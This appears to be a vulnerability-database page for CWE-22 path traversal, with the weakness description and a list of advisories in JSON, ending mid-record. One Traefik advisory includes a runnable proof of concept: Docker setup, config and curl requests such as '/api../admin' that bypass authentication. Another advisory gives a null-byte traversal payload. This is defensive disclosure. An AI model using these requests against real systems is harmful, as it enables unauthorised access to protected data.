CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
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16150 vulnerabilities reference this CWE, most recent first.
GHSA-CX9X-FM2C-C65M
Vulnerability from github – Published: 2026-06-13 03:30 – Updated: 2026-06-13 03:30The LWS Optimize – All-in-One Speed Booster & Cache Tools plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 3.3.19. This is due to the combine_current_css() function trusting values harvested from page HTML and converting same-site URLs to absolute filesystem paths before reading them with file_get_contents()/Minify\CSS::add(), without enforcing that the resolved path stay within ABSPATH or have a .css extension. This makes it possible for authenticated attackers, with Editor-level access and above, to read arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2026-12089"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-13T03:16:19Z",
"severity": "MODERATE"
},
"details": "The LWS Optimize \u2013 All-in-One Speed Booster \u0026 Cache Tools plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 3.3.19. This is due to the combine_current_css() function trusting \u003clink rel=\"stylesheet\" href=\"...\"\u003e values harvested from page HTML and converting same-site URLs to absolute filesystem paths before reading them with file_get_contents()/Minify\\CSS::add(), without enforcing that the resolved path stay within ABSPATH or have a .css extension. This makes it possible for authenticated attackers, with Editor-level access and above, to read arbitrary files.",
"id": "GHSA-cx9x-fm2c-c65m",
"modified": "2026-06-13T03:30:23Z",
"published": "2026-06-13T03:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12089"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/lws-optimize/tags/3.3.19/Classes/Front/LwsOptimizeCSSManager.php#L289"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/lws-optimize/tags/3.3.19/Classes/Front/LwsOptimizeCSSManager.php#L61"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cb80db2-753c-40fa-aee4-7d8c1749d037?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CXG5-JQHX-8CV4
Vulnerability from github – Published: 2022-05-01 18:07 – Updated: 2022-05-01 18:07Directory traversal vulnerability in session.rb in Hiki 0.8.0 through 0.8.6 allows remote attackers to delete arbitrary files via directory traversal sequences in the session ID, which is matched against an insufficiently restrictive regular expression before it is used to construct a filename that is marked for deletion at logout.
{
"affected": [],
"aliases": [
"CVE-2007-2836"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-07-02T19:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in session.rb in Hiki 0.8.0 through 0.8.6 allows remote attackers to delete arbitrary files via directory traversal sequences in the session ID, which is matched against an insufficiently restrictive regular expression before it is used to construct a filename that is marked for deletion at logout.",
"id": "GHSA-cxg5-jqhx-8cv4",
"modified": "2022-05-01T18:07:40Z",
"published": "2022-05-01T18:07:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2836"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/35029"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430691"
},
{
"type": "WEB",
"url": "http://hikiwiki.org/en/advisory20070624.html"
},
{
"type": "WEB",
"url": "http://hikiwiki.org/hiki-0_8_6.patch"
},
{
"type": "WEB",
"url": "http://jvn.jp/jp/JVN%2305187780/index.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/37469"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/25764"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/25874"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2007/dsa-1324"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/24603"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/2304"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CXGH-P94H-2C85
Vulnerability from github – Published: 2022-05-17 02:20 – Updated: 2022-05-17 02:20In the WP Rocket plugin 2.9.3 for WordPress, the Local File Inclusion mitigation technique is to trim traversal characters (..) -- however, this is insufficient to stop remote attacks and can be bypassed by using 0x00 bytes, as demonstrated by a .%00.../.%00.../ attack.
{
"affected": [],
"aliases": [
"CVE-2017-11658"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-26T15:29:00Z",
"severity": "HIGH"
},
"details": "In the WP Rocket plugin 2.9.3 for WordPress, the Local File Inclusion mitigation technique is to trim traversal characters (..) -- however, this is insufficient to stop remote attacks and can be bypassed by using 0x00 bytes, as demonstrated by a .%00.../.%00.../ attack.",
"id": "GHSA-cxgh-p94h-2c85",
"modified": "2022-05-17T02:20:12Z",
"published": "2022-05-17T02:20:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11658"
},
{
"type": "WEB",
"url": "https://gist.github.com/Shinkurt/157dbb3767c9489f3d754f79b183a890"
},
{
"type": "WEB",
"url": "https://wp-rocket.me/changelog"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8872"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-CXH8-623X-RHRW
Vulnerability from github – Published: 2023-02-22 21:30 – Updated: 2023-03-03 03:30A Local File Inclusion (LFI) vulnerability in interface/forms/LBF/new.php in OpenEMR < 7.0.0 allows remote authenticated users to execute code via the formname parameter.
{
"affected": [],
"aliases": [
"CVE-2023-22973"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-22T21:15:00Z",
"severity": "HIGH"
},
"details": "A Local File Inclusion (LFI) vulnerability in interface/forms/LBF/new.php in OpenEMR \u003c 7.0.0 allows remote authenticated users to execute code via the formname parameter.",
"id": "GHSA-cxh8-623x-rhrw",
"modified": "2023-03-03T03:30:23Z",
"published": "2023-02-22T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22973"
},
{
"type": "WEB",
"url": "https://www.open-emr.org/wiki/index.php/OpenEMR_Patches#7.0.0_Patch_.2811.2F30.2F22.29"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-CXJQ-MRR5-89RV
Vulnerability from github – Published: 2026-08-06 16:51 – Updated: 2026-08-06 16:51Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.*)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52
- https://github.com/traefik/traefik/releases/tag/v3.6.23
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67:if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
### PoC
**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl
**1. Create `docker-compose.yml`:**
services:
traefik:
image: traefik:v3.7.6
command:
- "--api.insecure=true"
- "--providers.file.filename=/etc/traefik/dynamic.yml"
- "--entrypoints.web.address=:80"
ports:
- "8080:8080"
- "80:80"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
healthcheck:
test: ["CMD", "traefik", "healthcheck"]
interval: 5s
timeout: 3s
retries: 5
backend:
image: node:22-alpine
working_dir: /app
volumes:
- ./server.js:/app/server.js:ro
command: ["node", "server.js"]
healthcheck:
test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
interval: 5s
timeout: 3s
retries: 5
**2. Create `dynamic.yml`:**
http:
routers:
public-api:
rule: "PathPrefix(`/api`)"
entryPoints: [web]
middlewares: [rewrite-api]
service: backend-svc
priority: 1
protected-admin:
rule: "PathPrefix(`/admin`)"
entryPoints: [web]
middlewares: [auth]
service: backend-svc
priority: 2
middlewares:
rewrite-api:
replacePathRegex:
regex: "^/api(.*)"
replacement: "/$1"
auth:
basicAuth:
users:
- "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
services:
backend-svc:
loadBalancer:
servers:
- url: "http://backend:3000"
**3. Create `server.js`:**
const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
const normalized = path.posix.normalize(req.url.split('?')[0]);
res.setHeader('Content-Type', 'text/plain');
if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
} else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);
**4. Run and exploit:**
docker compose up -d && sleep 5
# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401
# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)
# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)
**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix("/api")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix("/api")` was vulnerable but `StripPrefix("/api/")` was not.
### Impact
Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.51"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.22"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-65600"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T16:51:10Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik\u0027s `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` \u2192 selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` \u2192 captures `../admin` \u2192 replacement produces `/../admin`\n5. No normalization check exists \u2192 path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n traefik:\n image: traefik:v3.7.6\n command:\n - \"--api.insecure=true\"\n - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n - \"--entrypoints.web.address=:80\"\n ports:\n - \"8080:8080\"\n - \"80:80\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n healthcheck:\n test: [\"CMD\", \"traefik\", \"healthcheck\"]\n interval: 5s\n timeout: 3s\n retries: 5\n backend:\n image: node:22-alpine\n working_dir: /app\n volumes:\n - ./server.js:/app/server.js:ro\n command: [\"node\", \"server.js\"]\n healthcheck:\n test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n interval: 5s\n timeout: 3s\n retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n routers:\n public-api:\n rule: \"PathPrefix(`/api`)\"\n entryPoints: [web]\n middlewares: [rewrite-api]\n service: backend-svc\n priority: 1\n protected-admin:\n rule: \"PathPrefix(`/admin`)\"\n entryPoints: [web]\n middlewares: [auth]\n service: backend-svc\n priority: 2\n middlewares:\n rewrite-api:\n replacePathRegex:\n regex: \"^/api(.*)\"\n replacement: \"/$1\"\n auth:\n basicAuth:\n users:\n - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n services:\n backend-svc:\n loadBalancer:\n servers:\n - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst path = require(\u0027path\u0027);\nconst server = http.createServer((req, res) =\u003e {\n const normalized = path.posix.normalize(req.url.split(\u0027?\u0027)[0]);\n res.setHeader(\u0027Content-Type\u0027, \u0027text/plain\u0027);\n if (normalized === \u0027/health\u0027) { res.writeHead(200); res.end(\u0027OK\\n\u0027); }\n else if (normalized === \u0027/admin\u0027 || normalized.startsWith(\u0027/admin/\u0027)) {\n res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d \u0026\u0026 sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# \u2192 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-cxjq-mrr5-89rv",
"modified": "2026-08-06T16:51:10Z",
"published": "2026-08-06T16:51:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65600"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.52"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware"
}
GHSA-CXMC-68CR-87H3
Vulnerability from github – Published: 2022-05-01 23:28 – Updated: 2022-05-01 23:28Multiple directory traversal vulnerabilities in index.php in Tuned Studios (1) Subwoofer, (2) Freeze Theme, (3) Orange Cutout, (4) Lonely Maple, (5) Endless, (6) Classic Theme, and (7) Music Theme webpage templates allow remote attackers to include and execute arbitrary files via ".." sequences in the page parameter. NOTE: this can be leveraged for remote file inclusion when running in some PHP 5 environments.
{
"affected": [],
"aliases": [
"CVE-2008-0231"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-11T00:46:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in index.php in Tuned Studios (1) Subwoofer, (2) Freeze Theme, (3) Orange Cutout, (4) Lonely Maple, (5) Endless, (6) Classic Theme, and (7) Music Theme webpage templates allow remote attackers to include and execute arbitrary files via \"..\" sequences in the page parameter. NOTE: this can be leveraged for remote file inclusion when running in some PHP 5 environments.",
"id": "GHSA-cxmc-68cr-87h3",
"modified": "2022-05-01T23:28:31Z",
"published": "2022-05-01T23:28:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0231"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39555"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4876"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3532"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/485991/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27196"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-CXMJ-QJV6-VX9P
Vulnerability from github – Published: 2019-02-07 18:15 – Updated: 2023-09-12 20:46A server directory traversal vulnerability was found on node module mcstatic <=0.0.20 that would allow an attack to access sensitive information in the file system by appending slashes in the URL path.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mcstatic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-16482"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:33:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A server directory traversal vulnerability was found on node module mcstatic \u003c=0.0.20 that would allow an attack to access sensitive information in the file system by appending slashes in the URL path.",
"id": "GHSA-cxmj-qjv6-vx9p",
"modified": "2023-09-12T20:46:15Z",
"published": "2019-02-07T18:15:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16482"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/330285"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-cxmj-qjv6-vx9p"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "mcstatic directory traversal vulnerability"
}
GHSA-CXP3-3GVR-5G69
Vulnerability from github – Published: 2025-06-04 18:30 – Updated: 2025-06-04 18:30Multiple vulnerabilities in the update process of Cisco ThousandEyes Endpoint Agent for Windows could allow an authenticated, local attacker to delete arbitrary files on an affected device.
These vulnerabilities are due to improper access controls on files that are in the local file system. An attacker could exploit these vulnerabilities by using a symbolic link to perform an agent upgrade that redirects the delete operation of any protected file. A successful exploit could allow the attacker to delete arbitrary files from the file system of the affected device.
{
"affected": [],
"aliases": [
"CVE-2025-20259"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-04T17:15:26Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities in the update process of Cisco ThousandEyes Endpoint Agent for Windows could allow an authenticated, local attacker to delete arbitrary files on an affected device.\n\nThese vulnerabilities are due to improper access controls on files that are in the local file system. An attacker could exploit these vulnerabilities by using a symbolic link to perform an agent upgrade that redirects the delete operation of any protected file. A successful exploit could allow the attacker to delete arbitrary files from the file system of the affected device.",
"id": "GHSA-cxp3-3gvr-5g69",
"modified": "2025-06-04T18:30:58Z",
"published": "2025-06-04T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20259"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-endagent-filewrt-zNcDqNRJ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-CXP3-M897-WFVF
Vulnerability from github – Published: 2022-05-01 18:19 – Updated: 2025-04-09 03:44The SCANCTRL.ScanCtrlCtrl.1 ActiveX control in scan.dll in Nessus Vulnerability Scanner 3.0.6 allows remote attackers to delete arbitrary files via unspecified vectors involving the deleteNessusRC method, probably a directory traversal vulnerability.
{
